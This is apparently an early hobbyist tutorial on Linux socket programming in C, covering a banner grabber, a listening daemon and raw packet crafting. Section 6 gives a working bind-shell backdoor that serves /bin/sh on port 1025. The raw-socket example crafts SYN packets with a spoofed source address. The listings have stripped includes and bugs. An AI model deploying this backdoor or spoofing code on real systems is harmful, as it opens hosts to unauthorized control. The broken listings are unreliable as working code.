Beginners Guide to UNIX Sockets on Linux in C By: Tal0n of NixSec 05-07-04 ------------------------------------------------------------------------------------------------- 1. Introduction 2. What you'll need 3. Basics 4. First Program 5. Binding/Listening 6. More Socket 7. Raw Socket 8. Resources 9. Ideas 10. Links 11. Conclusion ------------------------------------------------------------------------------------------------- 1. When I first started learning unix socket in C, I didn't really know where to start. I googled some tutorials and guides, and such, used them and they helped quite a bit. In this guide, I hope to share my knowledge with the rest of the world and make this into a good piece of literature. ------------------------------------------------------------------------------------------------- 2. You'll need the following in order to follow with this guide: A Linux Box GCC Pico (or another text editor) Atleast beginners knowledge of C ------------------------------------------------------------------------------------------------- 3. First off, what is a socket? A socket is basically how programs talk to each other on the internet. Now here are the basic functions you will be using when you deal with unix sockets. socket() - Used to create a unix socket. Example: socket(AF_INET, SOCK_STREAM, 0); connect() - Used to connect to a host. Example: connect(socket,(struct sockaddr *)&host, sizeof(host)); send() - Used to send data to a host. Example: send(sock, data, len, 0); recv() - Used to recieve data from a host Example: recv(sock, buffer, sizeof(buffer), 0); close() - Used to close a socket. Example: close(sock); ------------------------------------------------------------------------------------------------- 4. Well now, we might as well go on and write our first program that uses unix sockets. Now this program is alittle more then the traditional "Hello World", so I hope you can understand it well, the comments such prove useful as well. #include // i/o #include // data types #include // general sockets #include // more sockets int main(int argc, char *argv[]) { // main function /w arguments char data[] = "\r\r\r"; // data to send char buffer[4096]; // buffer if(argc != 3) { printf("\nSimple Banner Grabber\n"); printf("\nUsage: %s \n\n", argv[0]); return 0; } int sock; // socket struct sockaddr_in remote; // remote socket remote.sin_family = AF_INET; // socket family remote.sin_port = htons(atoi(argv[2])); // socket port remote.sin_addr.s_addr = inet_addr(argv[1]); // socket address if((sock = socket(AF_INET, SOCK_STREAM, 0)) < 0) { // create socket printf("\nError: Can't create socket!\n\n"); return -1; } if(connect(sock,(struct sockaddr *)&remote, sizeof(struct sockaddr)) < 0) { // connect to host printf("\nError: Can't connect to %s!\n\n", argv[1]); return -1; } sleep(2); send(sock,&data, sizeof(data), 0); // send data sleep(1); memset(buffer, 0, sizeof(buffer)); // set buffer to 0 read(sock, buffer, sizeof(buffer), 0); // read buffer sleep(2); printf("\nData from %s:\n", argv[1]); printf("\n%s", buffer); // print buffer close(sock); // close the socket return 0; } root@vortex:~/test# ./ex 127.0.0.1 22 Data from 127.0.0.1: SSH-1.99-OpenSSH root@vortex:~/test# ------------------------------------------------------------------------------------------------- 5. In the first program, we made a socket, connected to a host, send data, then recieved it. What now? Would it not be nice to have a sort of daemon to occupy a port and listen for incoming connections? Well first you need to be familar with some more unix socket functions. bind() - Used to bind a socket to a port. Example: bind(lsock, (struct sockaddr *)&server, sizeof(struct sockaddr)); listen() - Used to make a socket listen on a port. Example: listen(lsock, 5); accept() - Used to accept a connection from a host. Example: accept(lsock, (struct sockaddr *)&client, &size); Well we might as well write a simple daemon. #include // i/o #include // data types #include // general sockets #include // more sockets int main(int argc, char *argv[]) { // main function /w arguments int lsock, rsock; // local and remote sockets struct sockaddr_in server; // server struct sockaddr_in client; // client if(argc != 3) { printf("\nSimple Daemon\n"); printf("\nUsage: %s ", argv[0]); printf("\nExample: %s 6565 8\n\n", argv[0]); return 0; } if((lsock = socket(AF_INET, SOCK_STREAM, 0)) < 0) { // create socket printf("\nError: Can't create socket!\n\n"); return -1; } server.sin_family = AF_INET; // socket family server.sin_port = htons(atoi(argv[1])); // socket port server.sin_addr.s_addr = INADDR_ANY; // socket address if(bind(lsock, (struct sockaddr *)&server, sizeof(struct sockaddr)) < 0) { // bind to port printf("\nError: Can't bind to port %s!\n\n", argv[1]); return -1; } if(listen(lsock, argv[2]) < 0) { // listen on port printf("\nError: Can't listen on port %s!\n\n", argv[1]); return -1; } int size; size = sizeof(struct sockaddr); rsock = accept(lsock, (struct sockaddr *)&client, &size); // accept connections dup2(rsock, 1); // stdout printf("\nSimple Daemon Worked! :)\n\n"); close(rsock); return 0; } root@vortex:~/test# ./ex2 6565 8 & [2] 1235 root@vortex:~/test# telnet localhost 6565 Trying 127.0.0.1... Connected to localhost. Escape character is '^]'. Simple Daemon Worked! :) Connection closed by foreign host. root@vortex:~/test# ------------------------------------------------------------------------------------------------- 6. Well, say you wanted to write a backdoor with socket on linux with c, heres a good example. #include // i/o #include // data types #include // general sockets #include // more sockets int main() { // main function int lsock, rsock; // local and remote sockets struct sockaddr_in server; // server struct sockaddr_in client; // client if((lsock = socket(AF_INET, SOCK_STREAM, 0)) < 0) { // create socket printf("\nError: Can't create socket!\n\n"); return -1; } server.sin_family = AF_INET; // socket family server.sin_port = htons(1025); // socket port server.sin_addr.s_addr = INADDR_ANY; // socket address if(bind(lsock, (struct sockaddr *)&server, sizeof(struct sockaddr)) < 0) { // bind to port printf("\nError: Can't bind to port 1025!\n\n"); return -1; } if(listen(lsock, 5) < 0) { // listen on port printf("\nError: Can't listen on port 1025!\n\n"); return -1; } while(1) { int size; size = sizeof(struct sockaddr); rsock = accept(lsock, (struct sockaddr *)&client, &size); // accept connections dup2(rsock, 0); // stdin dup2(rsock, 1); // stdout dup2(rsock, 2); // stderr execl("/bin/sh", "/bin/sh", (char *)0); // Execute Shell close(rsock); } // close socket return 0; } root@vortex:~/test# ./ex3 & [1] 10859 root@vortex:~/test# telnet localhost 1025 Trying 127.0.0.1... Connected to localhost (127.0.0.1). Escape character is '^]'. uname -a;id; Linux vortex 2.4.22 #1 Thu Sep 18 12:30:58 CEST 2003 i686 unknown unknown GNU/Linux uid=503(talon) gid=100(users) groups=100(users) : command not found exit; Connection closed by foreign host. [1]+ Exit 127 ./ex3 root@vortex:~/test# ------------------------------------------------------------------------------------------------- 7. Raw sockets are basically sockets created that allow you do modify the protocols options instead of the kernel as usual. Before we go onto the example, there are some functions you need to understand. sendto() - Used to send data. Example: sendto(sock, data, data, 0, (struct sockaddr *)&remote, sizeof(struct sockaddr)); recvfrom() - Used to recv data. Example: recvfrom(sockfd, buf, MAXBUF, 0, (struct sockaddr *)&remote, &len); setsockopt() - Used to set socket options. Example: setsockopt(sock, IPPROTO_IP, IP_HDRINCL, (char *)&enable, sizeof(enable)); Here is an example program that uses raw sockets. #include // i/o #include // atoi(), etc #include // getuid(), etc #include // data operations #include // data types #include // generak sockets #include // more sockets #include // ip header #include // tcp header int main(int argc, char *argv[]) { // main function with arguments if(argc != 7) { printf("\nSimple Packet Crafter using raw sockets\n"); printf("\nUsage: %s ", argv[0]); printf("\nExample: %s 192.0.0.2 79 1.2.3.4 12345 255 512\n\n", argv[0]); return 0; } if(getuid() != 0) { // if your not root printf("\nError: Must be ROOT to open raw sockets!\n\n"); return 1; } if(getuid() == 0) { // if you are root int sock; // declare sock int enable = 1; // turn on hprincl option char packet[4096]; // declare packet struct sockaddr_in remote; // remote address struct iphdr *ip = (struct iphdr *) packet; // ip header struct tcphdr *tcp = (struct tcphdr *) packet + sizeof(struct iphdr); // tcp header if((sock = socket(AF_INET, SOCK_RAW, IPPROTO_TCP)) < 0) { // create socket printf("\nError: Can't create RAW socket!\n\n"); return -1; } remote.sin_family = AF_INET; // family remote.sin_addr.s_addr = inet_addr(argv[1]); // destination ip remote.sin_port = htons(atoi(argv[2])); // destination port memset(packet, 0, 4096); // set packet to 0 if((setsockopt(sock, IPPROTO_IP, IP_HDRINCL, (char *)&enable, sizeof(enable))) < 0) { // set socket options printf("\nError: Can't set socket options!\n\n"); return -1; } ip->ihl = 5; // header length ip->version = 4; // ip version ip->tot_len = sizeof(struct iphdr) + sizeof(struct tcphdr); ip->id = htons(2500); // id sequence number (value doesnt matter) ip->saddr = inet_ntoa(atoi(argv[3])); // source ip ip->daddr = inet_ntoa(atoi(argv[1])); // destination ip ip->ttl = htons(atoi(argv[5])); // ttl ip->protocol = 6; // protocal number ip->check = 0; // ip checksum ip->tos = 0; // type of service ip->frag_off = 0; // fragment offset tcp->source = htons(atoi(argv[4])); // source port tcp->dest = htons(atoi(argv[2])); // destination port tcp->seq = htons(random()); // inital sequence number tcp->ack_seq = htons(0); // acknowledgement number tcp->ack = 0; // acknowledgement flag tcp->syn = 1; // synchronize flag tcp->rst = 0; // reset flag tcp->psh = 0; // push flag tcp->fin = 0; // finish flag tcp->urg = 0; // urgent flag tcp->check = 0; // tcp checksum tcp->doff = 5; // data offset tcp->window = htons(atoi(argv[6])); // window size printf("\nSimple Packet Crafter using raw sockets\n"); printf("\nPacket Data:\n"); printf("\nDestination IP: %s", argv[1]); printf("\nDestination Port: %s", argv[2]); printf("\nSource IP: %s", argv[3]); printf("\nSource Port: %s", argv[4]); printf("\nTTL: %s", argv[5]); printf("\nWindow Size: %s\n", argv[6]); printf("\nSending packet to %s...\n", argv[1]); if(sendto(sock, packet, ip->tot_len, 0, (struct sockaddr *)&remote, sizeof(struct sockaddr)) < 0) { // send packet printf("Error: Can't send packet!\n\n"); return -1; } printf("\nPacket send to %s! Goodbye!\n\n", argv[1]); } return 0; } root@vortex:~/test# ./ex4 192.0.0.2 79 1.2.3.4 12345 255 512 PCraft v1.0, by Tal0n 03-20-04 Packet Data: Destination IP: 192.0.0.2 Destination Port: 79 Source IP: 1.2.3.4 Source Port: 12345 TTL: 255 Window Size: 512 Sending packet to 192.0.0.2... Packet send to 192.0.0.2! Goodbye! root@vortex:~/test# Note: This code has NOT been tested COMPLETELY, it MAY NOT work. ------------------------------------------------------------------------------------------------- 8. Here are some good guides and resources that deal with unix sockets. Beej's Guide to Network Programming http://www.ecst.csuchico.edu/~beej/guide/net Mixter's Brief Raw Socket Tutorial http://security.royans.net/info/rawip/code/rawip1.shtml BSD Sockets: A Quick And Dirty Primer http://world.std.com/~jimf/papers/sockets/sockets.html UNIX Socket FAQ http://www.developerweb.net/sock-faq C Programming Guide http://www.strath.ac.uk/IT/Docs/Ccourse ------------------------------------------------------------------------------------------------- 9. Just some ideas of future unix socket programs you might like to write: A chat server (1 on 1 for now :P) An exploit (For educational purposes only. *wink* *wink*) A DOS tool (kinda lame, but good practice and learning) A Network Moniter (So you can moniter your LAN or something) A Sniffer (To let you see your good, bad, and maybe *private* traffic :P) A FTP or HTTP Daemon (That would be really nice ;)) ------------------------------------------------------------------------------------------------- 10. Here are some links that might be helpful. nixsec.com - NixSec Site activesecurity.us - Atomix's Site securitytracker.com - Great Security Site team-teso.org - TESO's Site hbx.us - HBX Free Shell Providers ------------------------------------------------------------------------------------------------- 11. Well, all in all, once you get the hang of unix sockets for Linux in C, they really aren't that hard. Starting out, yes, they were abit wierd to get used to, but after you get them down, they will open up a new world of programming for you. -Tal0n cyber_talon@hotmail.com Join my crew at #nixsec @ efnet